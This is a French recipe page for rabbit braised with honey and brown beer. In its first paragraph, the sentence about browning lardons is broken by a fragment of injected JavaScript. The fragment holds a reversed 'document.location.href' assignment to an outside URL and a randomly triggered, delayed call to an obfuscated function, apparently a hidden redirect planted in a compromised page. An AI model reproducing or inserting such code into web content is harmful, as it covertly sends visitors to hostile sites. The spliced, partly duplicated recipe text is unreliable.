Lapin au miel et à la bière brune
2018-02-17Pelez, coupez en rondelles la carotte. Pelez les oignons grelot et les laisser en entiers. Coupez le lapin en morceaux. Dans une cocotte sans matière grasse, sur feu vif, faites revenir les lardons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Pelez, coupez en rondelles la carotte. Pelez les oignons grelot et les laisser en entiers. Coupez le lapin en morceaux. Dans une cocotte sans matière grasse, sur feu vif, faites revenir les lardons tout en remuant. Ôtez les lardons et réservez. Dans la même cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir le lapin, jusqu'à obtenir une couleur dorée, ajoutez les oignons grelots, la carotte, le thym, la feuille de laurier.
Arrosez de miel, tout en remuant sur feu moyen, mouillez avec la bière salez, poivrez.
Portez à ébullition. Baissez le feu et laissez mijoter pendant 30 minutes.
Vérifiez la cuisson, déposez les morceaux de lapin dans un plat de service avec ces oignons autour accompagner de pommes vapeur.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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